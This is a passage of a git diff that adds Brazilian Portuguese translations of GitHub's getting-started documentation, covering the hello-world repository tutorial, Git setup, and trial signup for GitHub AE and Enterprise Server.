+Um repositório geralmente é usado para organizar um único projeto. Os repositórios podem conter pastas e arquivos, imagens, vídeos, planilhas e conjuntos de dados - tudo o que seu projeto precisar. Muitas vezes, os repositórios incluem um arquivo `README`, um arquivo com informações sobre o seu projeto. {% data variables.product.product_name %} facilita a adição de um ao mesmo tempo em que você cria o seu novo repositório. Ele também oferece outras opções comuns, como um arquivo de licença.
 
-Your `hello-world` repository can be a place where you store ideas, resources, or even share and discuss things with others.
+Seu repositório `hello-world` pode ser um lugar onde você armazenar ideias, recursos ou até mesmo compartilhar e discutir coisas com outros.
 
 {% data reusables.repositories.create_new %}
-1. In the **Repository name** box, enter `hello-world`.
-2. In the **Description** box, write a short description.
-3. Select **Add a README file**.
-4. Click **Create repository**.
+1. Na caixa **Nome do repositório**, insira em `hello-world`.
+2. Na caixa **Descrição**, escreva uma breve descrição.
+3. Selecione **Adicionar um arquivo README**.
+4. Clique em **Create Repository** (Criar repositório).
 
-   ![Create a hello world repository](/assets/images/help/repository/hello-world-repo.png)
+   ![Crie um repositório hello world](/assets/images/help/repository/hello-world-repo.png)
 
-## Creating a branch
+## Criar um branch
 
-Branching lets you have different versions of a repository at one time.
+O Branch permite que você tenha diferentes versões de um repositório de uma só vez.
 
-By default, your repository has one branch named `main` that is considered to be the definitive branch. You can use branches to experiment and make edits before committing them to `main`.
+Por padrão, o repositório tem um branch denominado `principal` que é considerado o branch definitivo. Você pode usar branches para experimentar e fazer edições antes de fazer commit no `principal`.
 
-When you create a branch off the `main` branch, you're making a copy, or snapshot, of `main` as it was at that point in time. If someone else made changes to the `main` branch while you were working on your branch, you could pull in those updates.
+Ao criar um banch fora do branch `principal`, você está criando uma cópia ou instantâneo do `principal`, como era nesse momento. Se alguém fizer alterações no branch `principal` enquanto você estava trabalhando no seu branch, você poderia fazer essas atualizações.
 
-This diagram shows:
+Este diagrama mostra:
 
-* The `main` branch
-* A new branch called `feature`
-* The journey that `feature` takes before it's merged into `main`
+* O branch `principal`
+* Um novo branch denominado `funcionalidade`
+* A jornada que as `funcionalidades` percorre antes de sofrer merge no `principal`
 
-![branching diagram](/assets/images/help/repository/branching.png)
+![diagrama do branch](/assets/images/help/repository/branching.png)
 
-Have you ever saved different versions of a file? Something like:
+Você já salvou diferentes versões de um arquivo? Algo assim:
 
 * `story.txt`
 * `story-joe-edit.txt`
 * `story-joe-edit-reviewed.txt`
 
-Branches accomplish similar goals in {% data variables.product.product_name %} repositories.
+Os branches realizam objetivos semelhantes em repositórios de {% data variables.product.product_name %}.
 
-Here at {% data variables.product.product_name %}, our developers, writers, and designers use branches for keeping bug fixes and feature work separate from our `main` (production) branch. When a change is ready, they merge their branch into `main`.
+Aqui em {% data variables.product.product_name %}, os nossos desenvolvedores, escritores, e designers usam branches para manter correções de erros e funções separadas do nosso branch `principal` (produção). Quando uma alteração está pronta, eles fazem merge do seu branch no `principal`.
 
-### Create a branch
+### Criar uma branch
 
-1. Click the **Code** tab of your `hello-world` repository.
-2. Click the drop down at the top of the file list that says **main**.
-   ![Branch menu](/assets/images/help/branch/branch-selection-dropdown.png)
-4. Type a branch name, `readme-edits`, into the text box.
-5. Click **Create branch: readme-edits from main**.
+1. Clique na aba **Código** do seu repositório `hello-world`.
+2. Clique na lista suspensa na parte superior da lista de arquivos que diz **principal**. ![Menu do branch](/assets/images/help/branch/branch-selection-dropdown.png)
+4. Digite um nome de um branch, `readme-edits` na caixa de texto.
+5. Clique em **Criar branch: readme-edits a partir do principal**.
 
-![Branch menu](/assets/images/help/repository/new-branch.png)
+![Menu do branch](/assets/images/help/repository/new-branch.png)
 
-Now you have two branches, `main` and `readme-edits`. Right now, they look exactly the same. Next you'll add changes to the new branch.
+Agora você tem dois ramos, `principal` e `readme-edits`. Neste momento, eles são exatamente os mesmos. Em seguida, você adicionará alterações ao novo branch.
 
-## Making and committing changes
+## Criando e fazendo commit das alterações
 
-When you created a new branch in the previous step, {% data variables.product.product_name %} brought you to the code page for your new `readme-edits` branch, which is a copy of `main`.
+Quando você criou um novo branch na etapa, {% data variables.product.product_name %} trouxe você para a página de código para o novo branch `readme-edits`, que é uma cópia do `principal`.
 
-You can make and save changes to the files in your repository. On {% data variables.product.product_name %}, saved changes are called commits. Each commit has an associated commit message, which is a description explaining why a particular change was made. Commit messages capture the history of your changes so that other contributors can understand what you’ve done and why.
+Você pode fazer e salvar as alterações nos arquivos do seu repositório. Em {% data variables.product.product_name %}, as alterações salvas são denominadas commits. Cada commit tem uma mensagem de commit associada, que é uma descrição que explica por que uma determinada alteração foi feita. As mensagens de commit capturam histórico das suas alterações para que outros colaboradores possam entender o que você fez e o porquê.
 
-1. Click the `README.md` file.
-1. Click {% octicon "pencil" aria-label="The edit icon" %} to edit the file.
-3. In the editor, write a bit about yourself.
-4. In the **Commit changes** box, write a commit message that describes your changes.
-5. Click **Commit changes**.
+1. Clique no arquivo `README.md`.
+1. Clique em {% octicon "pencil" aria-label="The edit icon" %} para editar o arquivo.
+3. No editor, escreva um pouco sobre você.
+4. Na caixa **Alterações de commit**, escreva uma mensagem de commit que descreva as suas alterações.
+5. Clique em **Commit changes** (Fazer commit das alterações).
 
-   ![Commit example](/assets/images/help/repository/first-commit.png)
+   ![Exemplo de commit](/assets/images/help/repository/first-commit.png)
 
-These changes will be made only to the README file on your `readme-edits` branch, so now this branch contains content that's different from `main`.
+Essas alterações serão feitas apenas no arquivo README no seu branch `readme-edits` para que agora este branch tenha conteúdo diferente do `principal`.
 
-## Opening a pull request
+## Abrir um pull request
 
-Now that you have changes in a branch off of `main`, you can open a pull request.
+Agora que você tem alterações em um branch com `principal`, você pode abrir um pull request.
 
-Pull requests are the heart of collaboration on {% data variables.product.product_name %}. When you open a pull request, you're proposing your changes and requesting that someone review and pull in your contribution and merge them into their branch. Pull requests show diffs, or differences, of the content from both branches. The changes, additions, and subtractions are shown in different colors.
+Os pull requests são o centro da colaboração em {% data variables.product.product_name %}. Ao abrir um pull request, você está propondo suas alterações e solicitando que alguém analise e faça pull na sua contribuição e os mescle no seu branch. Os pull requests mostram diffs, ou diferenças, do conteúdo de ambos os branches. As alterações, adições e subtrações são exibidas em cores diferentes.
 
-As soon as you make a commit, you can open a pull request and start a discussion, even before the code is finished.
+Assim que você fizer um commit, você poderá abrir um pull request e começar uma discussão, mesmo antes de o código ser concluído.
 
-By using {% data variables.product.product_name %}'s `@mention` feature in your pull request message, you can ask for feedback from specific people or teams, whether they're down the hall or 10 time zones away.
+Ao usar o recurso `@mention`de {% data variables.product.product_name %} na sua mensagem de pull request, você pode pedir feedback de pessoas ou equipes específicas, independentemente de estarem no salão ou de estarem fora do fuso horário.
 
-You can even open pull requests in your own repository and merge them yourself. It's a great way to learn the {% data variables.product.product_name %} flow before working on larger projects.
+Você pode até abrir pull requests em seu próprio repositório e fazer merge você mesmo. É uma ótima maneira de aprender o fluxo de {% data variables.product.product_name %} antes de trabalhar em projetos maiores.
 
-1. Click the **Pull requests** tab of your `hello-world` repository.
-2. Click **New pull request**
-3. In the **Example Comparisons** box, select the branch you made, `readme-edits`, to compare with `main` (the original).
-4. Look over your changes in the diffs on the Compare page, make sure they're what you want to submit.
+1. Clique na aba **Pull requests** do seu repositório `hello-world`.
+2. Clique em **Novo pull request**
+3. Na caixa de **Exemplo de comparações**, selecione o branch que você criou, `readme-edits`, para comparar com o `principal` (o original).
+4. Veja as mudanças que você fez na página de Comparação e certifique-se que eles são o que você deseja enviar.
 
-   ![diff example](/assets/images/help/repository/diffs.png)
+   ![exemplo de diff](/assets/images/help/repository/diffs.png)
 
-5. Click **Create pull request**.
-6. Give your pull request a title and write a brief description of your changes. You can include emojis and drag and drop images and gifs.
-7. Click **Create pull request**.
+5. Clique em **Create pull request** (Criar pull request).
+6. Dê um título ao seu pull request e escreva uma breve descrição das suas alterações. Você pode incluir emojis e arrastar e soltar imagens e gifs.
+7. Clique em **Create pull request** (Criar pull request).
 
-Your collaborators can now review your edits and make suggestions.
+Seus colaboradores agora podem revisar suas edições e fazer sugestões.
 
-## Merging your pull request
+## Mesclando seu pull request
 
-In this final step, you will merge your `readme-edits` branch into the `main` branch.
+Nesta etapa final, você irá fazer merge do seu branch `readme-edits` no branch `principal`.
 
-1. Click **Merge pull request** to merge the changes into `main`.
-2. Click **Confirm merge**.
-3. Go ahead and delete the branch, since its changes have been incorporated, by clicking **Delete branch**.
+1. Clique **Fazer merge do pull request** para fazer merge das alterações no `principal`.
+2. Clique em **Confirmar a merge**.
+3. Exclua a o branch, uma vez que as suas alterações foram incorporadas, clicando em **Excluir branch**.
 
-## Next steps
+## Próximas etapas
 
-By completing this tutorial, you've learned to create a project and make a pull request on {% data variables.product.product_name %}.
+Ao completar este tutorial, você aprendeu a criar um projeto e criar um pull request em {% data variables.product.product_name %}.
 
-Here's what you accomplished in this tutorial:
+Aqui está o que você realizou neste tutorial:
 
-* Created an open source repository
-* Started and managed a new branch
-* Changed a file and committed those changes to {% data variables.product.product_name %}
-* Opened and merged a pull request
+* Criou um repositório de código aberto
+* Iniciou e gerenciou um nova branch
+* Alterou um arquivo e fez commit dessas alterações para {% data variables.product.product_name %}
+* Abriu e fez o merge de um pull request
 
-Take a look at your {% data variables.product.product_name %} profile and you'll see your work reflected on your contribution graph.
+Dê uma olhada no seu perfil de {% data variables.product.product_name %} e você verá o seu trabalho refletido no seu gráfico de contribuição.
 
-For more information about the power of branches and pull requests, see "[GitHub flow](/get-started/quickstart/github-flow)." For more information about getting started with {% data variables.product.product_name %}, see the other guides in the [getting started quickstart](/get-started/quickstart).
+Para obter mais informações sobre o poder dos branches e pull requests, consulte "[Fluxo do GitHub](/get-started/quickstart/github-flow)". Para obter mais informações sobre como dar os primeiros passos com {% data variables.product.product_name %}, consulte os outros guias no [início rápido](/get-started/quickstart).
diff --git a/translations/pt-BR/content/get-started/quickstart/index.md b/translations/pt-BR/content/get-started/quickstart/index.md
index cfc4b9e48c..8065e12855 100644
--- a/translations/pt-BR/content/get-started/quickstart/index.md
+++ b/translations/pt-BR/content/get-started/quickstart/index.md
@@ -1,6 +1,6 @@
 ---
-title: Quickstart
-intro: 'Get started using {% data variables.product.product_name %} to manage Git repositories and collaborate with others.'
+title: QuickStart
+intro: 'Comece a usar {% data variables.product.product_name %} para gerenciar repositórios o Git e colaborar com outras pessoas.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/pt-BR/content/get-started/quickstart/set-up-git.md b/translations/pt-BR/content/get-started/quickstart/set-up-git.md
index f8272f9fc3..93f2811902 100644
--- a/translations/pt-BR/content/get-started/quickstart/set-up-git.md
+++ b/translations/pt-BR/content/get-started/quickstart/set-up-git.md
@@ -1,5 +1,5 @@
 ---
-title: Set up Git
+title: Configurar o Git
 redirect_from:
   - /git-installation-redirect
   - /linux-git-installation
@@ -12,7 +12,7 @@ redirect_from:
   - /articles/set-up-git
   - /github/getting-started-with-github/set-up-git
   - /github/getting-started-with-github/quickstart/set-up-git
-intro: 'At the heart of {% data variables.product.prodname_dotcom %} is an open source version control system (VCS) called Git. Git is responsible for everything {% data variables.product.prodname_dotcom %}-related that happens locally on your computer.'
+intro: 'No centro do {% data variables.product.prodname_dotcom %} há um sistema de controle de versões (VCS) de código aberto chamado Git. O Git é responsável por tudo relacionado ao {% data variables.product.prodname_dotcom %} que acontece localmente no computador.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -24,59 +24,60 @@ topics:
   - Notifications
   - Accounts
 ---
-## Using Git
 
-To use Git on the command line, you'll need to download, install, and configure Git on your computer. You can also install {% data variables.product.prodname_cli %} to use {% data variables.product.prodname_dotcom %} from the command line. For more information, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
+## Usar o Git
 
-If you want to work with Git locally, but don't want to use the command line, you can instead download and install the [{% data variables.product.prodname_desktop %}]({% data variables.product.desktop_link %}) client.  For more information, see "[Installing and configuring {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/)."
+Para usar o Git na linha de comando, você precisará fazer download, instalar e configurar o Git no computador. Você também pode instalar {% data variables.product.prodname_cli %} para usar {% data variables.product.prodname_dotcom %} a partir da linha de comando. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)".
 
-If you don't need to work with files locally, {% data variables.product.product_name %} lets you complete many Git-related actions directly in the browser, including:
+Se quiser trabalhar com o Git, mas não quiser usar a linha de comando, você poderá baixar e instalar o cliente do [{% data variables.product.prodname_desktop %}]({% data variables.product.desktop_link %}).  Para obter mais informações, consulte "[Instalar e configurar o {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/)".
 
-- [Creating a repository](/articles/create-a-repo)
-- [Forking a repository](/articles/fork-a-repo)
-- [Managing files](/repositories/working-with-files/managing-files)
-- [Being social](/articles/be-social)
+Se não precisar trabalhar nos arquivos localmente, o {% data variables.product.product_name %} permite a execução de diversas ações relacionadas ao Git diretamente no navegador, incluindo:
 
-## Setting up Git
+- [Criar um repositório](/articles/create-a-repo)
+- [Bifurcar um repositório](/articles/fork-a-repo)
+- [Gerenciar arquivos](/repositories/working-with-files/managing-files)
+- [Interagir socialmente](/articles/be-social)
 
-1. [Download and install the latest version of Git](https://git-scm.com/downloads).
+## Configurar o Git
+
+1. [Faça download e instale a versão mais recente do Git](https://git-scm.com/downloads).
 
 {% note %}
 
-**Note**: If you are using a Chrome OS device, additional set up is required:
+**Observação**: Se você estiver usando um dispositivo do Chrome OS, será necessário configurar adicionalmente:
 
-1. Install a terminal emulator such as Termux from the Google Play Store on your Chrome OS device.
-2. From the terminal emulator that you installed, install Git. For example, in Termux, enter `apt install git` and then type `y` when prompted. 
+1. Instale um emulador de terminais como, por exemplo, o Termux da Google Play Store no seu dispositivo Chrome OS.
+2. A partir do emulador de terminal que você instalou, instale o Git. Por exemplo, no Termux, insira `apt install git` e, em seguida, digite `y` quando solicitado.
 
 {% endnote %}
 
-2. [Set your username in Git](/github/getting-started-with-github/setting-your-username-in-git).
-3. [Set your commit email address in Git](/articles/setting-your-commit-email-address).
+2. [Configure seu nome de usuário no Git](/github/getting-started-with-github/setting-your-username-in-git).
+3. [Configure seu endereço de e-mail de commit no Git](/articles/setting-your-commit-email-address).
 
-## Next steps: Authenticating with {% data variables.product.prodname_dotcom %} from Git
+## Próximas etapas: autenticar no {% data variables.product.prodname_dotcom %} do Git
 
-When you connect to a {% data variables.product.prodname_dotcom %} repository from Git, you'll need to authenticate with {% data variables.product.product_name %} using either HTTPS or SSH.
+Quando você se conecta a um repositório do {% data variables.product.prodname_dotcom %} a partir do Git, precisa fazer a autenticação no {% data variables.product.product_name %} usando HTTPS ou SSH.
 
 {% note %}
 
-**Note:** You can authenticate to {% data variables.product.product_name %} using {% data variables.product.prodname_cli %}, for either HTTP or SSH. For more information, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login).
+**Observação:** Você pode efetuar a autenticação em {% data variables.product.product_name %} usando {% data variables.product.prodname_cli %}, para HTTP ou SSH. Para obter mais informações, consulte [`login gh auth`](https://cli.github.com/manual/gh_auth_login).
 
 {% endnote %}
 
-### Connecting over HTTPS (recommended)
+### Conexão por HTTPS (recomendada)
 
-If you [clone with HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), you can [cache your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git) using a credential helper.
+Se você [clonar com HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), [armazene suas credenciais do {% data variables.product.prodname_dotcom %} no Git](/github/getting-started-with-github/caching-your-github-credentials-in-git) usando um auxiliar de credenciais.
 
-### Connecting over SSH
+### Conexão por SSH
 
-If you [clone with SSH](/github/getting-started-with-github/about-remote-repositories/#cloning-with-ssh-urls), you must [generate SSH keys](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) on each computer you use to push or pull from {% data variables.product.product_name %}.
+Se você [clonar com SSH](/github/getting-started-with-github/about-remote-repositories/#cloning-with-ssh-urls), poderá [gerar chaves SSH](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) em cada computador usado para fazer push ou pull a partir do {% data variables.product.product_name %}.
 
-## Celebrate
+## Comemore
 
-Congratulations, you now have Git and {% data variables.product.prodname_dotcom %} all set up! You may now choose to create a repository where you can put your projects. This is a great way to back up your code and makes it easy to share the code around the world. For more information see "[Create a repository](/articles/create-a-repo)".
+Parabéns! Agora o Git e o {% data variables.product.prodname_dotcom %} estão configurados! Agora você pode optar por criar um repositório onde possa colocar seus projetos. Esta é uma ótima maneira de fazer backup do seu código e facilita o compartilhamento do código no mundo todo. Para obter mais informações, consulte "[Criar um repositório](/articles/create-a-repo)".
 
-You can create a copy of a repository by forking it and propose the changes that you want to see without affecting the upstream repository. For more information see "[Fork a repository](/articles/fork-a-repo)."
+Você pode criar a cópia de um repositório, fazendo uma bifurcação dele e propondo as alterações que deseja ver sem afetar o repositório upstream. Para obter mais informações, consulte "[Bifurcar um repositório](/articles/fork-a-repo)".
 
-Each repository on {% data variables.product.prodname_dotcom %} is owned by a person or an organization. You can interact with the people, repositories, and organizations by connecting and following them on {% data variables.product.product_name %}. For more information see "[Be social](/articles/be-social)."
+Cada repositório em {% data variables.product.prodname_dotcom %} pertence a uma pessoa ou organização. Você pode interagir com as pessoas, repositórios e organizações, conectando-se e seguindo-as em {% data variables.product.product_name %}. Para obter mais informações, consulte "[Seja social](/articles/be-social)".
 
 {% data reusables.support.connect-in-the-forum-bootcamp %}
diff --git a/translations/pt-BR/content/get-started/signing-up-for-github/index.md b/translations/pt-BR/content/get-started/signing-up-for-github/index.md
index 5b9a0d3fcd..2109bc2453 100644
--- a/translations/pt-BR/content/get-started/signing-up-for-github/index.md
+++ b/translations/pt-BR/content/get-started/signing-up-for-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Signing up for GitHub
-intro: 'Start using {% data variables.product.prodname_dotcom %} for yourself or your team.'
+title: Fazer o registro no GitHub
+intro: 'Comece a usar {% data variables.product.prodname_dotcom %} para você ou para a sua equipe.'
 redirect_from:
   - /articles/signing-up-for-github
   - /github/getting-started-with-github/signing-up-for-github
diff --git a/translations/pt-BR/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md b/translations/pt-BR/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md
index 2f1cf8bcf2..cff9f554b3 100644
--- a/translations/pt-BR/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md
+++ b/translations/pt-BR/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md
@@ -1,69 +1,66 @@
 ---
-title: Setting up a trial of GitHub AE
-intro: 'You can try {% data variables.product.prodname_ghe_managed %} for free.'
+title: Configurando um teste do GitHub AE
+intro: 'Você pode avaliar o {% data variables.product.prodname_ghe_managed %} gratuitamente.'
 versions:
   ghae: '*'
 topics:
   - Accounts
-shortTitle: GitHub AE trial
+shortTitle: Teste do GitHub AE
 ---
 
-## About the {% data variables.product.prodname_ghe_managed %} trial
+## Sobre o teste de {% data variables.product.prodname_ghe_managed %}
 
-You can set up a 90-day trial to evaluate {% data variables.product.prodname_ghe_managed %}. This process allows you to deploy a {% data variables.product.prodname_ghe_managed %} account in your existing Azure region. 
+Você pode definir uma avaliação de 90 dias para avaliar {% data variables.product.prodname_ghe_managed %}. Este processo permite que você implemente uma conta do {% data variables.product.prodname_ghe_managed %} na sua região do Azure existente.
 
-- **{% data variables.product.prodname_ghe_managed %} account**: The Azure resource that contains the required components, including the instance.
-- **{% data variables.product.prodname_ghe_managed %} portal**: The Azure management tool at [https://portal.azure.com](https://portal.azure.com). This is used to deploy the {% data variables.product.prodname_ghe_managed %} account.
+- **Conta de {% data variables.product.prodname_ghe_managed %} **: O recurso do Azure que contém os componentes necessários, incluindo a instância.
+- **{% data variables.product.prodname_ghe_managed %} portal**: A ferramenta de gerenciamento do Azure em [https://portal.azure.com](https://portal.azure.com). Ela é usada para implantar a conta de {% data variables.product.prodname_ghe_managed %}.
 
-## Setting up your trial of {% data variables.product.prodname_ghe_managed %}
+## Configurar a versão de avaliação do {% data variables.product.prodname_ghe_managed %}
 
 
-Before you can start your trial of {% data variables.product.prodname_ghe_managed %}, you must request access by contacting your {% data variables.product.prodname_dotcom %} account team. {% data variables.product.prodname_dotcom %} will enable the {% data variables.product.prodname_ghe_managed %} trial for your Azure subscription.
+Antes de poder iniciar o seu teste de {% data variables.product.prodname_ghe_managed %}, você deverá solicitar o acesso entrando em contato com sua equipe de conta de {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_dotcom %} irá habilitar o teste {% data variables.product.prodname_ghe_managed %} para sua assinatura do Azure.
 
-Contact {% data variables.contact.contact_enterprise_sales %} to check your eligibility for a {% data variables.product.prodname_ghe_managed %} trial.
+Entre em contato com {% data variables.contact.contact_enterprise_sales %} para verificar a sua elegibilidade para um teste de {% data variables.product.prodname_ghe_managed %}.
 
-## Deploying {% data variables.product.prodname_ghe_managed %} with the {% data variables.actions.azure_portal %}
+## Implantando {% data variables.product.prodname_ghe_managed %} com o {% data variables.actions.azure_portal %}
 
-The {% data variables.actions.azure_portal %} allows you to deploy the {% data variables.product.prodname_ghe_managed %} account in your Azure resource group.
+O {% data variables.actions.azure_portal %} permite que você faça a implementação da conta do {% data variables.product.prodname_ghe_managed %} no seu grupo de recursos do Azure.
 
-1. On the {% data variables.actions.azure_portal %}, type `GitHub AE` in the search field. Then, under _Services_, click {% data variables.product.prodname_ghe_managed %}.
-    ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-search.png)
-1. To begin the process of adding a new {% data variables.product.prodname_ghe_managed %} account, click **Create GitHub AE account**.
-1. Complete the "Project details" and "Instance details" fields.
-    ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-form.png)
-    - **Account name:** The hostname for your enterprise
-    - **Administrator username:** A username for the initial enterprise owner that will be created in {% data variables.product.prodname_ghe_managed %}
-    - **Administrator email:** The email address that will receive the login information
-1. To review a summary of the proposed changes, click **Review + create**.
-1. After the validation process has completed, click **Create**.
+1. No {% data variables.actions.azure_portal %}, digite `GitHub AE` no campo de busca. Em seguida, em _Serviços_, clique em {% data variables.product.prodname_ghe_managed %}. ![Resultado da pesquisa de {% data variables.actions.azure_portal %}](/assets/images/azure/github-ae-azure-portal-search.png)
+1. Para começar o processo de adicionar uma nova conta de {% data variables.product.prodname_ghe_managed %}, clique em **Criar conta do GitHub AE**.
+1. Insira as informações nos campos "Detalhes do projeto" e "Detalhes da instância". ![Resultado da pesquisa de {% data variables.actions.azure_portal %}](/assets/images/azure/github-ae-azure-portal-form.png)
+    - **Nome da conta:** O nome do host da sua empresa
+    - **Nome de usuário administrador:** Um nome de usuário para o proprietário corporativo inicial que será criado em {% data variables.product.prodname_ghe_managed %}
+    - E-mail do administrador **:** O endereço de e-mail que receberá as informações de login
+1. Para revisar um resumo das alterações propostas, clique em **Revisão + criar**.
+1. Após a conclusão do processo de validação, clique em **Criar**.
 
-The email address you entered above will receive instructions on how to access your enterprise. After you have access, you can get started by following the initial setup steps. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)."
+O endereço de e-mail que você digitou acima receberá instruções sobre como acessar a sua empresa. Após ter acesso, você poderá começar seguindo os passos das configuração iniciais. Para obter mais informações, consulte "[Inicializar {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)".
 
 {% note %}
 
-**Note:** Software updates for your {% data variables.product.prodname_ghe_managed %} instance are performed by {% data variables.product.prodname_dotcom %}. For more information, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)."
+**Observação:** As atualizações de software para a sua instância {% data variables.product.prodname_ghe_managed %} são executadas por {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte[Sobre atualizações para novas versões de](/admin/overview/about-upgrades-to-new-releases)."
 
 {% endnote %}
 
-## Navigating to your enterprise
+## Acessando a sua empresa
 
-You can use the {% data variables.actions.azure_portal %} to navigate to your {% data variables.product.prodname_ghe_managed %} instance. The resulting list includes all the {% data variables.product.prodname_ghe_managed %} instances in your Azure region.
+Você pode usar o {% data variables.actions.azure_portal %} para navegar para a sua instância de {% data variables.product.prodname_ghe_managed %}. A lista resultante inclui todas as instâncias de {% data variables.product.prodname_ghe_managed %} na sua região do Azure.
 
-1. On the {% data variables.actions.azure_portal %}, in the left panel, click **All resources**.
-1. From the available filters, click **All types**, then deselect **Select all** and select **GitHub AE**:
-    ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-type-filter.png)
+1. No {% data variables.actions.azure_portal %}, no painel esquerdo, clique em **Todos os recursos**.
+1. Nos filtros disponíveis, clique em **Todos os tipos** e, em seguida, desmarque **Selecionar todos** e selecione **GitHub AE**: ![Resultado da pesquisa de {% data variables.actions.azure_portal %}](/assets/images/azure/github-ae-azure-portal-type-filter.png)
 
-## Next steps
+## Próximas etapas
 
-Once your instance has been provisioned, the next step is to initialize {% data variables.product.prodname_ghe_managed %}. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/github-ae@latest/admin/configuration/configuring-your-enterprise/initializing-github-ae)."
+Uma vez fornecida a sua instância, o próximo passo é para inicializar {% data variables.product.prodname_ghe_managed %}. Para obter mais informações, consulte "[Inicializar {% data variables.product.prodname_ghe_managed %}](/github-ae@latest/admin/configuration/configuring-your-enterprise/initializing-github-ae)".
 
-## Finishing your trial
+## Finalizar a versão de avaliação
 
-You can upgrade to a full license at any time during the trial period by contacting contact {% data variables.contact.contact_enterprise_sales %}. If you haven't upgraded by the last day of your trial, then the instance is automatically deleted.
+Você pode fazer a atualização para uma licença completa a qualquer momento durante o período de avaliação, entrando em contato com {% data variables.contact.contact_enterprise_sales %}. Se você não atualizou até o último dia de seu teste, a instância será excluída automaticamente.
 
-If you need more time to evaluate {% data variables.product.prodname_ghe_managed %}, contact {% data variables.contact.contact_enterprise_sales %} to request an extension.
+Se precisar de mais tempo para avaliar o {% data variables.product.prodname_ghe_managed %}, entre em contato com {% data variables.contact.contact_enterprise_sales %} para solicitar uma extensão.
 
-## Further reading 
+## Leia mais
 
-- "[Enabling {% data variables.product.prodname_advanced_security %} features on {% data variables.product.prodname_ghe_managed %}](/github/getting-started-with-github/about-github-advanced-security#enabling-advanced-security-features-on-github-ae)"
-- "[{% data variables.product.prodname_ghe_managed %} release notes](/github-ae@latest/admin/overview/github-ae-release-notes)" 
+- "[Habilitando as funcionalidades de {% data variables.product.prodname_advanced_security %} em {% data variables.product.prodname_ghe_managed %}](/github/getting-started-with-github/about-github-advanced-security#enabling-advanced-security-features-on-github-ae)"
+- "[Notas de versão de {% data variables.product.prodname_ghe_managed %}](/github-ae@latest/admin/overview/github-ae-release-notes)" 
diff --git a/translations/pt-BR/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md b/translations/pt-BR/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md
index 1328f54580..ffaf48e6e8 100644
--- a/translations/pt-BR/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md
+++ b/translations/pt-BR/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md
@@ -1,6 +1,6 @@
 ---
-title: Setting up a trial of GitHub Enterprise Server
-intro: 'You can try {% data variables.product.prodname_ghe_server %} for free.'
+title: Configurar uma versão de avaliação do GitHub Enterprise Server
+intro: 'Você pode avaliar o {% data variables.product.prodname_ghe_server %} gratuitamente.'
 redirect_from:
   - /articles/requesting-a-trial-of-github-enterprise
   - /articles/setting-up-a-trial-of-github-enterprise-server
@@ -12,56 +12,57 @@ versions:
   ghes: '*'
 topics:
   - Accounts
-shortTitle: Enterprise Server trial
+shortTitle: Teste do servidor corporativo
 ---
-## About trials of {% data variables.product.prodname_ghe_server %}
 
-You can request a 45-day trial to evaluate {% data variables.product.prodname_ghe_server %}. Your trial will be installed as a virtual appliance, with options for on-premises or cloud deployment. For a list of supported visualization platforms, see "[Setting up a GitHub Enterprise Server instance](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance)."
+## Sobre as versões de avaliação do {% data variables.product.prodname_ghe_server %}
 
-{% ifversion ghes %}{% data variables.product.prodname_dependabot %}{% else %}Security{% endif %} alerts and {% data variables.product.prodname_github_connect %} are not currently available in trials of {% data variables.product.prodname_ghe_server %}. For a demonstration of these features, contact {% data variables.contact.contact_enterprise_sales %}. For more information about these features, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)" and "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/enterprise-server@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."
+Você pode solicitar uma versão de avaliação por 45 dias do {% data variables.product.prodname_ghe_server %}. A versão de avaliação será instalada como um appliance virtual, com opções para implementação local ou na nuvem. Consulte a lista de plataformas de visualização compatíveis em "[Configurar uma instância do GitHub Enterprise Server](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance)".
 
-Trials are also available for {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_cloud %}](/articles/setting-up-a-trial-of-github-enterprise-cloud)."
